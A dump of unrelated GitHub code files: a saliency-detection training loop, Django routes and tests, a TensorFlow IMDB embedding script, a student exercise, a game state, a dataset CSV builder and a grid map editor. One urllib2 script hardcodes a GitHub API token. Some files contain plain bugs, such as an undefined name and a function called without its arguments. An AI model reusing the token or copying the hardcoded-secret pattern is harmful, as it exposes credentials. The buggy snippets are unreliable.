wCtr[v1] += d_app * w_spa * w_bg[v2]\r\n#\r\n# # normalise value for wCtr\r\n# min_value = min(wCtr.values())\r\n# max_value = max(wCtr.values())\r\n#\r\n# for v in vertices:\r\n# wCtr[v] = (wCtr[v] - min_value)/(max_value - min_value)\r\n#\r\n# r_opt_w = Variable(torch.FloatTensor(compute_saliency_cost(smoothness, w_bg, wCtr)))\r\n#\r\n# OPTW_batch[ii, :r_opt_w.shape[0]] = r_opt_w\r\n#\r\n# return OPTW_batch\r\n\r\n\r\ndef prepare_image_loader(img, gt):\r\n\r\n segments_slic = slic(img.cpu(), n_segments=160, compactness=1000, sigma=1, enforce_connectivity=1)\r\n\r\n nrows, ncols = segments_slic.shape\r\n max_dist = math.sqrt(nrows * nrows + ncols * ncols)\r\n\r\n grid = segments_slic\r\n\r\n (vertices, edges) = make_graph(grid)\r\n\r\n gridx, gridy = np.mgrid[:grid.shape[0], :grid.shape[1]]\r\n\r\n centers = dict()\r\n colors = dict()\r\n colors_rgb = dict()\r\n distances = dict()\r\n boundary = dict()\r\n roi = []\r\n\r\n for v in vertices:\r\n # centers[v] = [gridy[grid == v].mean(), gridx[grid == v].mean()]\r\n\r\n x_pix = gridx[grid == v]\r\n y_pix = gridy[grid == v]\r\n\r\n # if np.any(x_pix == 0) or np.any(y_pix == 0) or np.any(x_pix == nrows - 1) or np.any(y_pix == ncols - 1):\r\n # boundary[v] = 1\r\n # else:\r\n # boundary[v] = 0\r\n\r\n min_h_grid = min(x_pix)\r\n max_h_grid = max(x_pix)\r\n min_w_grid = min(y_pix)\r\n max_w_grid = max(y_pix)\r\n roi.append([min_h_grid, min_w_grid, max_h_grid, max_w_grid])\r\n\r\n # if np.any(x_pix == nrows - 1): # sign as boundary\r\n # roi.append([0, 0, 0, 0])\r\n\r\n # if v < 135:\r\n # for vi in range(134-v):\r\n # roi.append([0, 0, 0, 0])\r\n\r\n roi = np.array(roi)\r\n nnn = roi.shape[0]\r\n if nnn < 180:\r\n roi = roi.tolist()\r\n for vi in range(180-nnn):\r\n roi.append([0, 0, 0, 0])\r\n roi = np.array(roi)\r\n\r\n gt_pxl = []\r\n gt_np = gt.cpu().numpy()\r\n if len(gt.shape) == 3: # got a grayscale image\r\n gt_np = skimage.color.rgb2gray(gt_np)\r\n if gt_np.shape[0] != grid.shape[0] or gt_np.shape[0]!=grid.shape[0]:\r\n gt_np = transform.resize(gt_np, grid.shape)\r\n for v in vertices:\r\n gt_pxl.append(np.mean(gt_np[grid == v], axis=0))\r\n\r\n nn = vertices.shape[0]\r\n if nn < 180:\r\n for vi in range(180 - nnn):\r\n gt_pxl.append(0)\r\n\r\n gt_pxl = np.rint(np.array(gt_pxl))\r\n\r\n #guiyihuya=======================\r\n img = data_transforms(img)\r\n #================================\r\n\r\n img_rgb = img.permute(2, 0, 1).unsqueeze_(0).float().cuda()\r\n\r\n return img_rgb, gt_pxl, vertices, edges, boundary, centers, max_dist, grid, roi\r\n\r\n\r\ndef prepare_image4test_loader(img):\r\n\r\n img_np = img.cpu().numpy()\r\n segments_slic = slic(img.cpu(), n_segments=160, compactness=10, sigma=1, enforce_connectivity=1)\r\n img_superpixels = []\r\n\r\n nrows, ncols = segments_slic.shape\r\n max_dist = math.sqrt(nrows * nrows + ncols * ncols)\r\n\r\n grid = segments_slic\r\n\r\n (vertices, edges) = make_graph(grid)\r\n\r\n gridx, gridy = np.mgrid[:grid.shape[0], :grid.shape[1]]\r\n centers = dict()\r\n colors = dict()\r\n colors_rgb = dict()\r\n boundary = dict()\r\n roi = []\r\n\r\n for v in vertices:\r\n centers[v] = [gridy[grid == v].mean(), gridx[grid == v].mean()]\r\n colors[v] = np.mean(img_np[grid == v], axis=0)\r\n\r\n x_pix = gridx[grid == v]\r\n y_pix = gridy[grid == v]\r\n\r\n if np.any(x_pix == 0) or np.any(y_pix == 0) or np.any(x_pix == nrows - 1) or np.any(y_pix == ncols - 1):\r\n boundary[v] = 1\r\n else:\r\n boundary[v] = 0\r\n\r\n min_h_grid = min(x_pix)\r\n max_h_grid = max(x_pix)\r\n min_w_grid = min(y_pix)\r\n max_w_grid = max(y_pix)\r\n roi.append([min_h_grid, min_w_grid, max_h_grid, max_w_grid])\r\n\r\n colors_rgb[v] = np.mean(img_np[grid == v], axis=0)\r\n\r\n if np.any(x_pix == nrows - 1): # sign as boundary\r\n roi.append([0, 0, 0, 0])\r\n\r\n\r\n # if v < 135:\r\n # for vi in range(134-v):\r\n # roi.append([0, 0, 0, 0])\r\n\r\n roi = np.array(roi)\r\n nnn = roi.shape[0]\r\n if nnn < 180:\r\n roi = roi.tolist()\r\n for vi in range(180-nnn):\r\n roi.append([0, 0, 0, 0])\r\n roi = np.array(roi)\r\n\r\n\r\n img = data_transforms(img)\r\n img_rgb = img.permute(2, 0, 1).unsqueeze_(0).float().cuda()\r\n roi = np.array(roi)\r\n\r\n return img_rgb, img_superpixels, grid, vertices, edges, boundary, centers, max_dist, roi\r\n\r\n\r\ntrain_batchsize = 16\r\nval_batchsize = 16\r\ntest_batchsize = 1\r\n#######################################################\r\nworkers = 0\r\ntrain_data_list = pd.read_csv('data/label_dut.csv')\r\nnormalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\r\ntrain_data = TrainDataset(train_data_list,\r\n transform=transforms.Compose([\r\n transforms.Resize((224, 224)),\r\n # transforms.RandomHorizontalFlip(),\r\n transforms.ToTensor(),\r\n # normalize,\r\n ]))\r\ntrain_loader = DataLoader(train_data, batch_size=train_batchsize, shuffle=True, pin_memory=True, num_workers=workers)\r\n\r\nval_data_list = pd.read_csv('data/val_msra.csv')\r\nnormalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\r\nval_data = ValDataset(val_data_list,\r\n transform=transforms.Compose([\r\n transforms.Resize((224, 224)),\r\n transforms.ToTensor(),\r\n # normalize,\r\n ]))\r\nval_loader = DataLoader(val_data, batch_size=val_batchsize, shuffle=True, pin_memory=True, num_workers=workers)\r\n\r\n\r\ntest_data_list = pd.read_csv('data/test.csv')\r\nnormalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\r\ntest_data = TestDataset(test_data_list,\r\n transform=transforms.Compose([\r\n transforms.Resize((224, 224)),\r\n transforms.ToTensor(),\r\n # normalize,\r\n ]))\r\ntest_loader = DataLoader(test_data, batch_size=test_batchsize, shuffle=True, pin_memory=True, num_workers=workers)\r\n\r\n######################################################\r\n\r\nnum_epochs = 50 # <---160\r\n\r\nEncoderModel = MySalEncoder()\r\nDecoderModel = MyDNNDecoder()\r\n\r\n#load the previous best parameters\r\n# checkpoint_encoder = torch.load('data/en_check_params.pkl')\r\n# EncoderModel.load_state_dict(checkpoint_encoder)\r\n# checkpoint_decoder = torch.load('data/de_check_params.pkl')\r\n# DecoderModel.load_state_dict(checkpoint_decoder)\r\n\r\n# for name, param in EncoderModel.named_parameters():\r\n# if 'bias' in name:\r\n# nn.init.constant_(param, 0.0)\r\n# elif 'weight' in name:\r\n# nn.init.xavier_normal_(param)\r\n# for name, param in DecoderModel.named_parameters():\r\n# if 'bias' in name:\r\n# nn.init.constant_(param, 0.0)\r\n# elif 'weight' in name:\r\n# nn.init.xavier_normal_(param)\r\n\r\nEncoderModel.cuda()\r\nDecoderModel.cuda()\r\n\r\n# DecoderModel = nn.DataParallel(DecoderModel)\r\n\r\ncriterion = nn.BCELoss() #SmoothL1Loss BCELoss\r\n\r\n\r\nencoder_optimizer = optim.Adam(EncoderModel.parameters(), lr=0.001, betas=(0.9, 0.999), eps=1e-08, weight_decay=0)\r\ndecoder_optimizer = optim.Adam(DecoderModel.parameters(), lr=0.001, betas=(0.9, 0.999), eps=1e-08, weight_decay=0)\r\n\r\n# encoder_optimizer = optim.RMSprop(EncoderModel.parameters(), lr=0.01, eps=1e-08, weight_decay=0)\r\n# decoder_optimizer = optim.RMSprop(DecoderModel.parameters(), lr=0.01, eps=1e-08, weight_decay=0)\r\n\r\n\r\nencoder_scheduler = lr_scheduler.ReduceLROnPlateau(encoder_optimizer, 'min', patience=6, factor=0.5, min_lr=0.000001)\r\ndecoder_scheduler = lr_scheduler.ReduceLROnPlateau(decoder_optimizer, 'min', patience=6, factor=0.5, min_lr=0.000001)\r\n\r\nen_best_model_wts = copy.deepcopy(EncoderModel.state_dict())\r\nbest_loss = 1000\r\nprint_inteval = 30\r\nnotimproveNum = 0\r\nclip = 5\r\n\r\ntensor = torch.randn(180, 180).cuda()\r\n\r\nfor epoch in range(num_epochs):\r\n print('Epoch {}/{}'.format(epoch+1, num_epochs))\r\n print('-' * 10)\r\n if notimproveNum > 55:\r\n print('Valloss do not improve at {} epochs,so break'.format(notimproveNum))\r\n break\r\n for phase in ['train', 'val']:\r\n if phase == 'train':\r\n #scheduler.step()\r\n EncoderModel.train() # Set model to training mode\r\n DecoderModel.train()\r\n EncoderModel.batch_size = train_batchsize\r\n loader = train_loader\r\n\r\n else:\r\n EncoderModel.eval() # Set model to evaluate mode\r\n DecoderModel.eval()\r\n EncoderModel.batch_size = val_batchsize\r\n loader = val_loader\r\n\r\n running_loss = 0.0\r\n pxl_num = 180\r\n # filename = os.listdir(Pic_dir)\r\n num_batch = 1\r\n for ii, (images, target) in enumerate(loader):\r\n time_start = time.time()\r\n image_var = torch.as_tensor(images).cuda()\r\n gt_val = torch.as_tensor(target).cuda()\r\n if image_var.size(0) != train_batchsize:\r\n break;\r\n\r\n # DATA = np.zeros((train_batchsize, pxl_num, 3, 32, 32))\r\n LABEL = np.zeros((train_batchsize, pxl_num))\r\n MASK = np.zeros((train_batchsize, pxl_num))\r\n DATA_LENS = np.zeros(train_batchsize)\r\n vertices_batch = dict()\r\n edges_batch = dict()\r\n boundary_batch = dict()\r\n centers_batch = dict()\r\n max_dist_batch = dict()\r\n img_batch = []\r\n roi_batch = []\r\n\r\n for k in range(train_batchsize):\r\n # print(gt_val.size())\r\n img_rgb, v2, v3, v4, v5, v6, v7, v8, roi = prepare_image_loader(image_var[k, :, :, :].permute(1,2,0), gt_val[k, :, :, :].permute(1,2,0))\r\n vertices_batch[k], edges_batch[k], boundary_batch[k], centers_batch[k], max_dist_batch[k] = v3, v4, v5, v6, v7\r\n LABEL[k, :v2.shape[0]] = v2\r\n MASK[k, :v2.shape[0]] = np.ones(v2.shape[0])\r\n img_batch.append(img_rgb)\r\n roi_batch.append(roi)\r\n DATA_LENS[k] = v2.shape[0]\r\n img_batch = torch.cat(img_batch)\r\n roi_batch = np.array(roi_batch)\r\n\r\n DATA_MAX_LEN = int(max(DATA_LENS))\r\n\r\n LABEL = torch.from_numpy(LABEL).float().cuda()\r\n # LABEL = Variable(LABEL)\r\n\r\n MASK = torch.from_numpy(MASK).float()\r\n MASK = Variable(MASK.cuda())\r\n\r\n # EncoderModel.train()\r\n # DecoderModel.train()\r\n EncoderModel.zero_grad()\r\n encoder_outputs = EncoderModel(img_batch, roi_batch)\r\n target_length_col = encoder_outputs.data.shape[1]\r\n\r\n # opt_w = encoder_opt(encoder_outputs, DATA_MAX_LEN, vertices_batch, edges_batch, boundary_batch, centers_batch, max_dist_batch)\r\n #\r\n # encoder_outputs = encoder_outputs.data.cpu().numpy()\r\n # for i in range(train_batchsize):\r\n # opt_wex = opt_w[i, :]\r\n # for j in range(target_length_col-1):\r\n # opt_wex = np.column_stack((opt_wex, opt_w[i, :]))\r\n # encoder_outputs[i, :, :] = encoder_outputs[i, :, :] * opt_wex\r\n #\r\n # encoder_outputs = Variable(torch.from_numpy(encoder_outputs).float())\r\n\r\n #-----decoder process\r\n DecoderModel.zero_grad()\r\n decoder_output, out_bg = DecoderModel(encoder_outputs, LABEL)\r\n\r\n variable = Variable(tensor, requires_grad=True)\r\n variable = variable.squeeze(0)\r\n U, S, V = torch.svd(variable)\r\n S1=torch.zeros(180).cuda()\r\n sval_nums = 32\r\n S1[0:sval_nums]=S[0:sval_nums]\r\n variable = torch.mm(U[:, 0:sval_nums], torch.mm(S1.diag(), V[0:sval_nums,:].t()).t())\r\n variable = variable.unsqueeze(0)\r\n loss2 = torch.norm(out_bg - variable.matmul(out_bg))/(1024)\r\n\r\n # target_length = encoder_outputs.data.shape[1]\r\n # decoder_output = []\r\n # for current_index in range(target_length):\r\n # decoder_output.append(DecoderModel(encoder_outputs.cuda(), current_index))\r\n # decoder_output = torch.stack(decoder_output).permute(1,0,2).reshape(train_batchsize*target_length, 1)\r\n\r\n # loss using low rank or not\r\n # total_loss = criterion(decoder_output*MASK, LABEL*MASK)\r\n total_loss = criterion(decoder_output, LABEL) + loss2\r\n # total_loss = criterion(decoder_output, LABEL)\r\n\r\n #-----end of decoder process\r\n if phase == 'train':\r\n total_loss.backward()\r\n utils.clip_grad_norm_(EncoderModel.parameters(), clip)\r\n utils.clip_grad_norm_(DecoderModel.parameters(), clip)\r\n encoder_optimizer.step()\r\n decoder_optimizer.step()\r\n\r\n variable = variable.squeeze(0)\r\n U, S, V = torch.svd(variable)\r\n S1 = torch.zeros(180).cuda()\r\n S1[0:sval_nums] = S[0:sval_nums]\r\n variable = torch.mm(U[:, 0:sval_nums], torch.mm(S1.diag(), V[0:sval_nums, :].t()).t())\r\n variable = variable.unsqueeze(0)\r\n\r\n if ii % print_inteval == 0:\r\n print('{}: {} Average_BatchLoss: {:.4f} '.format(ii, phase, total_loss.data))\r\n\r\n en_eachbatch_model_wts = copy.deepcopy(EncoderModel.state_dict())\r\n de_eachbatch_model_wts = copy.deepcopy(DecoderModel.state_dict())\r\n\r\n time_end = time.time()\r\n if ii % print_inteval == 0:\r\n print('cost {:.1f} secs'.format(time_end - time_start))\r\n\r\n else:\r\n time_end = time.time()\r\n if ii % print_inteval == 0:\r\n print('{}: {} Average_BatchLoss: {:.4f}: '.format(ii, phase, total_loss.data))\r\n print('cost {:.1f} secs'.format(time_end - time_start))\r\n running_loss += total_loss.data\r\n num_batch = ii+1\r\n\r\n epoch_loss = running_loss/num_batch\r\n\r\n if phase == 'val':\r\n # print('num_batch'.format(num_batch))\r\n en_former_lr = encoder_optimizer.param_groups[0]['lr']\r\n encoder_scheduler.step(epoch_loss)\r\n en_current_lr = encoder_optimizer.param_groups[0]['lr']\r\n\r\n de_former_lr = decoder_optimizer.param_groups[0]['lr']\r\n decoder_scheduler.step(epoch_loss)\r\n de_current_lr = decoder_optimizer.param_groups[0]['lr']\r\n\r\n #writer.add_scalar('Epoch_VALLoss', epoch_loss, epoch)\r\n print('Encoder learning rate is {}'.format(encoder_optimizer.param_groups[0]['lr']))\r\n print('Decoder learning rate is {}'.format(decoder_optimizer.param_groups[0]['lr']))\r\n\r\n if epoch_loss < best_loss:\r\n best_loss = epoch_loss\r\n en_best_model_wts = copy.deepcopy(EncoderModel.state_dict())\r\n de_best_model_wts = copy.deepcopy(DecoderModel.state_dict())\r\n print('BestLoss: {:.4f} is Epoch{} '.format(best_loss, epoch+1))\r\n notimproveNum = 0\r\n else:\r\n notimproveNum = notimproveNum + 1\r\n\r\n torch.save(EncoderModel.state_dict(), 'data/en_check_paramsBCE.pkl')\r\n torch.save(DecoderModel.state_dict(), 'data/de_check_paramsBCE.pkl')\r\n\r\n print('{} EpochLoss: {} '.format(phase, epoch_loss))\r\n\r\n# EncoderModel.load_state_dict(en_best_model_wts)\r\n# torch.save(EncoderModel.state_dict(), 'data/en_best_params.pkl')\r\n# DecoderModel.load_state_dict(de_best_model_wts)\r\n# torch.save(DecoderModel.state_dict(), 'data/de_best_params.pkl')\r\n\r\n\r\n\r\n# ##------------evaluate----------------------------------------------##\r\nPic_save_dir = 'data/DUT_SalBCE'\r\n#load the parameters\r\n# checkpoint_encoder = torch.load('data/en_check_params.pkl')\r\n# EncoderModel.load_state_dict(checkpoint_encoder)\r\n# checkpoint_decoder = torch.load('data/de_check_params.pkl')\r\n# DecoderModel.load_state_dict(checkpoint_decoder)\r\n\r\nfor ii, (images, filename) in enumerate(test_loader):\r\n\r\n image_var = torch.tensor(images).squeeze().cuda() #async=True\r\n\r\n img_rgb, DATA, grid, vertices, edges, boundary, centers, max_dist, roi = prepare_image4test_loader(image_var.permute(1,2,0))\r\n\r\n EncoderModel.eval()\r\n roi_batch = []\r\n roi_batch.append(roi)\r\n roi_batch = np.array(roi_batch)\r\n encoder_outputs = EncoderModel(img_rgb, roi_batch) # .unsqueeze(0)\r\n target_length = encoder_outputs.data.shape[1]\r\n target_length_col = encoder_outputs.data.shape[2]\r\n vertices_batch = dict()\r\n edges_batch = dict()\r\n boundary_batch = dict()\r\n centers_batch = dict()\r\n max_dist_batch = dict()\r\n vertices_batch[0] = vertices\r\n edges_batch[0] = edges\r\n boundary_batch[0] = boundary\r\n centers_batch[0] = centers\r\n max_dist_batch[0] = max_dist\r\n\r\n sal_img = grid\r\n DecoderModel.eval()\r\n Lable = None\r\n decoder_output, out_bg = DecoderModel(encoder_outputs, Lable)\r\n\r\n for current_index in range(target_length):\r\n mm = decoder_output[current_index]\r\n sal_img[grid == current_index] = mm.detach().cpu()*255\r\n b = np.array(sal_img)\r\n b = b.astype(np.uint8)\r\n xx = Image.fromarray(b)\r\n print(filename[0])\r\n xx.save(Pic_save_dir+'/'+filename[0])\r\n # -----end of decoder process","repo_name":"cvcoding/EDNet","sub_path":"EDNet/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":24687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"40122613692","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('report', views.report, name='report'),\n path('report1', views.report_revised, name='report1'),\n path('report2', views.report_switch_between_items, name='report2')\n]\n\n\n\n","repo_name":"sisjuy/code_fin_bert","sub_path":"fin_bert_web/catalog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"40860303040","text":"from django.test import TestCase\n\nfrom ..models import Group, Post, User\n\n\nclass PostModelTest(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username='author')\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='Тестовый слаг',\n description='Тестовое описание',\n )\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый пост',\n )\n\n def test_models_have_correct_object_names(self):\n \"\"\"Проверяем, что у моделей корректно работает __str__.\"\"\"\n group = PostModelTest.group\n post = PostModelTest.post\n expected_object_names = (\n group.title,\n post.text,\n )\n for expected_object_name in expected_object_names:\n with self.subTest():\n self.assertEqual(\n expected_object_name, str(expected_object_name))\n","repo_name":"Kolupanov/hw05_final","sub_path":"yatube/posts/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"7839124722","text":"import urllib2\n\"\"\"Writes the_page to /tmp/44\"\"\"\nurl = 'https://api.github.com/search/repositories?q=language:python&sort=stars&order=desc'\n\nrequest_headers = {\n 'User-Agent': 'Holberton_School',\n 'Authorization': 'token 3e0df28fcee55ed9d9bfbfda999ac5428e1ab96c'\n}\n\nreq = urllib2.Request(url, headers=request_headers)\nresponse = urllib2.urlopen(req)\nthe_page = response.read()\n\ntarget = open('/tmp/44', 'w')\ntarget.truncate\ntarget.write(the_page)\ntarget.close\n","repo_name":"johndspence/holbertonschool_higher_level_programming","sub_path":"python_intro_2/write_them_to_disc.py","file_name":"write_them_to_disc.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"18498214793","text":"import tensorflow as tf\nimport tensorflow_datasets as tfds\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport io\n\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.preprocessing.text import Tokenizer\n\n\nimdb, info = tfds.load(\"imdb_reviews\", with_info=True, as_supervised=True )\n\ntraining_data, testing_data = imdb['train'], imdb['test']\n\ntraining_sentences = []\ntesting_sentence = []\n\ntesting_labels = []\ntraining_labels = []\n\nprint(len(training_data))\nprint(len(testing_data))\n\nfor s, l in training_data:\n training_sentences.append(s.numpy().decode('utf8'))\n training_labels.append(l.numpy())\n\nfor s, l in testing_data:\n testing_sentence.append(s.numpy().decode('utf8'))\n testing_labels.append(l.numpy())\n\ntesting_labels_final = np.array(testing_labels)\ntraining_labels_final = np.array(training_labels)\n\n\nVOCAB_SIZE = 10000\nOOV_TOKEN = \"\"\nMAX_LEN = 120\nTRUNCATE = 'post'\nEMBEDDED_DIM = 16\n\ntokenizer = Tokenizer(num_words=VOCAB_SIZE, oov_token=OOV_TOKEN)\ntokenizer.fit_on_texts(training_sentences)\nword_index = tokenizer.word_index\n\nreverse_word_index = dict((value, key) for key, value in word_index.items())\n\nsequences = tokenizer.texts_to_sequences(training_sentences)\npadded = pad_sequences(sequences=sequences, maxlen=MAX_LEN, truncating=TRUNCATE)\n\ntest_sequences = tokenizer.texts_to_sequences(testing_sentence)\ntest_padded = pad_sequences(sequences=test_sequences, maxlen=MAX_LEN, truncating=TRUNCATE)\n\n# model\n\nmodel = tf.keras.Sequential([\n tf.keras.layers.Embedding(VOCAB_SIZE, EMBEDDED_DIM, input_length=MAX_LEN),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(512, activation=tf.nn.relu),\n tf.keras.layers.Dense(1, activation=tf.nn.sigmoid)\n])\n\nmodel.compile(optimizer='adam', loss=tf.keras.losses.binary_crossentropy, metrics=['accuracy'])\n\nhistory = model.fit(\n padded,\n training_labels_final,\n epochs=10,\n validation_data=(test_padded,testing_labels_final),\n verbose=1\n)\n\nmodel.summary()\n\ntrain_accuracy = history.history['accuracy']\ntrain_loss = history.history['loss']\n\nval_accuracy = history.history['val_accuracy']\nval_loss = history.history['val_loss']\n\nepochs = range(len(train_accuracy))\nplt.plot(epochs, train_accuracy)\nplt.plot(epochs, val_accuracy)\nplt.figure()\n\nplt.plot(epochs, train_loss)\nplt.plot(epochs, val_loss)\nplt.figure()\nplt.show()\n\n#weights\ne = model.layers[0]\nweights = e.get_weights()[0]\n\n# generate files for projector tensorflow\n\nout_v = io.open(\"vec.tsv\", \"w\", encoding='utf-8')\nout_m = io.open(\"met.tsv\", \"w\", encoding=\"utf-8\")\n\nfor word_num in range(1, VOCAB_SIZE):\n word = reverse_word_index[word_num]\n embeddings = weights[word_num]\n out_m.write(word + \"\\n\")\n out_v.write('\\t'.join([str(x) for x in embeddings]) + \"\\n\")\nout_v.close()\nout_m.close()\n\nprint(\"Done\")\n\n\n\n\n\n\n","repo_name":"praveenwork/ml","sub_path":"Python/nlp/imdb.py","file_name":"imdb.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29318564949","text":"#Contestador de celular\nnumero = int(input())\nhora = int(input())\nrespuesta = str(0)\n\nif (hora>=0) and (hora<=7):\n print(CONTESTAR)\nif hora<14:\n respuesta = 1>0\n if (respuesta == True) and (numero%1000==909):\n print(\"CONTESTAR\")\n else:\n print(\"NO CONTESTAR\")\nif (hora>=17) and (hora<=19):\n respuesta = 1>0\n if (respuesta==True) and (numero//10000):\n print(\"NO CONTESTAR\")\n else:\n print(\"CONTESTAR\")\nif hora>19:\n print(\"NO CONTESTAR\")","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej2/hito1_ej2_2ae96bebb0d2da59a9737c3e50bc5a00.py","file_name":"hito1_ej2_2ae96bebb0d2da59a9737c3e50bc5a00.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"32637879682","text":"from pico2d import *\nimport game_framework\nimport game_world\n\nfrom mario import Mario\nfrom background import Background\nfrom mushroom import Mushroom\n\nbackground = None\nchar = None\nenemy = None\n\ndef handle_events():\n events = get_events()\n for event in events:\n if event.type == SDL_QUIT:\n game_framework.quit()\n elif (event.type, event.key) == (SDL_KEYDOWN, SDLK_ESCAPE):\n game_framework.quit()\n else:\n char.handle_event(event)\n\n# 초기화\ndef enter():\n global char, background, running, enemy\n char = Mario()\n enemy = Mushroom()\n background = Background()\n game_world.add_object(background, 0)\n game_world.add_object(char, 1)\n game_world.add_object(enemy, 2)\n\n\ndef exit():\n game_world.clear()\n\n\ndef update():\n for game_object in game_world.all_objects():\n game_object.update()\n\ndef draw_world():\n for game_object in game_world.all_objects():\n game_object.draw()\n\n\ndef draw():\n clear_canvas()\n draw_world()\n update_canvas()\n\ndef pause():\n pass\n\ndef resume():\n pass\n\n\n\n\ndef test_self():\n import play_state\n\n pico2d.open_canvas()\n game_framework.run(play_state)\n pico2d.clear_canvas()\n\nif __name__ == '__main__':\n test_self()\n","repo_name":"JHKimy/2020180048_2DGP_PROJECT","sub_path":"수정전/play_state.py","file_name":"play_state.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"20145853136","text":"\"\"\"\r\n\r\nThis python demo is created to make \"Multi-class_Weather_Dataset_for_Image_Classification\" dataset\r\n\r\neasy to be processed by my demo.\r\n\r\nimage_dir format:\r\n\r\n-JPEGImage\r\n -classname+index.jpg\r\n -.....\r\ncsv format:\r\n\r\nindex filename filepath label\r\n0 ... ... ...\r\n1 ... ... ...\r\n2 ... ... ...\r\n3 ... ... ...\r\n......\r\n\r\n\"\"\"\r\nimport os\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n\r\n# 写一个函数方便把classname和index分开\r\ndef split_classname(filename):\r\n num_start = 0\r\n for i in range(len(filename)):\r\n if ord(filename[i]) >= 48 and ord(filename[i]) <= 57:\r\n num_start = i\r\n break\r\n return filename[:num_start]\r\n\r\n\r\n# 生成classes.txt文件\r\ndef generate_classes_txt():\r\n image_path = './JPEGImage'\r\n classes = []\r\n for name in os.listdir(image_path):\r\n filename = name[:-4]\r\n classes.append(split_classname(filename))\r\n classes = list(set(classes))\r\n with open('../classes.txt', 'w') as f:\r\n content = \"\"\r\n for i, classes_name in enumerate(classes):\r\n content = content + \"{} {}\\n\".format(i, classes_name)\r\n f.write(content)\r\n\r\n\r\ndef read_classes():\r\n path = '../classes.txt'\r\n content = \"\"\r\n with open(path, 'r') as f:\r\n content = f.read()\r\n content = content.split(\"\\n\")[:-1] # 最后一个是空列表，不需要\r\n output = []\r\n for item in content:\r\n item_list = item.split(\" \")\r\n output.append(item_list[1]) # list\r\n return output\r\n\r\n\r\ndef multi_weather_csv(image_path,csv_path):\r\n if os.path.exists('../classes.txt') == False:\r\n generate_classes_txt()\r\n classes = read_classes()\r\n infomation_array = [] # shape=(n,3)\r\n for name in os.listdir(image_path):\r\n filename = name[:-4]\r\n path = image_path + '/{}'.format(name)\r\n class_name = split_classname(filename)\r\n infomation_array.append([filename, path, classes.index(class_name)])\r\n info_arr = np.array(infomation_array)\r\n col = ['filename', 'filepath', 'label']\r\n df = pd.DataFrame(info_arr, columns=col)\r\n df.to_csv(csv_path, encoding='utf-8')\r\n\r\n\r\nmulti_weather_csv()\r\n","repo_name":"Alexisxty/PytorchImageClassify-master","sub_path":"data/folder/Multi-class_Weather_Dataset_for_Image_Classification/demo/csv_generator.py","file_name":"csv_generator.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"1425903836","text":"import PySimpleGUI as sg\nfrom random import randint\nfrom PIL import Image\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nMAX_ROWS = 20\nMAX_COL = 50\nbox_size = 1\n# board = [[randint(0, 1) for j in range(MAX_COL)] for i in range(MAX_ROWS)]\nimg_list = np.zeros((MAX_ROWS, MAX_COL), dtype=np.uint8)\nlayout = [[[\n sg.Button('',\n size=(box_size, box_size),\n button_color=('white'),\n key=(i, j),\n pad=(0, 0)) for j in range(MAX_COL)\n] for i in range(MAX_ROWS)], [sg.Button('変換', key='check', expand_x=True)]]\n\nwindow = sg.Window('Minesweeper', layout)\n\nb_c = 'white'\nwhile True:\n event, values = window.read()\n if event in (sg.WIN_CLOSED, 'Exit'):\n break\n # window[(row, col)].update('New text') # To change a button's text, use this pattern\n # For this example, change the text of the button to the board's value and turn color black\n\n if event == 'check':\n for i in range(MAX_ROWS):\n for j in range(MAX_COL):\n if img_list[i][j] == 0:\n img_list[i][j] = 255\n else:\n img_list[i][j] = 0\n print(img_list)\n # plt.imshow(img_list,\n # cmap='gray',\n # vmin=0,\n # vmax=255,\n # interpolation='none')\n # plt.show()\n plt.imsave('C:\\\\Users\\\\Atsushi\\\\Pictures\\\\map\\\\buf.png',\n img_list) #拡張子を.pngとかに変えてもちゃんと保存してくれる。\n\n im_gray = np.array(\n Image.open('C:\\\\Users\\\\Atsushi\\\\Pictures\\\\map\\\\buf.png').convert(\n 'L'))\n pil_img_gray = Image.fromarray(im_gray)\n pil_img_gray.save('C:\\\\Users\\\\Atsushi\\\\Pictures\\\\map\\\\map.pgm')\n\n # img_list = np.array(save_list)\n # print(\"OK\")\n # pil_img_gray = Image.fromarray(img_list)\n # print(pil_img_gray.mode)\n # # L\n # pil_img_gray.save('C:\\\\Users\\\\Atsushi\\\\Pictures\\\\map\\\\a.pgm')\n break\n\n position = list(event)\n print(position)\n if img_list[position[0]][position[1]] == 1:\n b_c = 'white'\n img_list[position[0]][position[1]] = 0\n else:\n b_c = 'black'\n img_list[position[0]][position[1]] = 1\n window[event].update('', 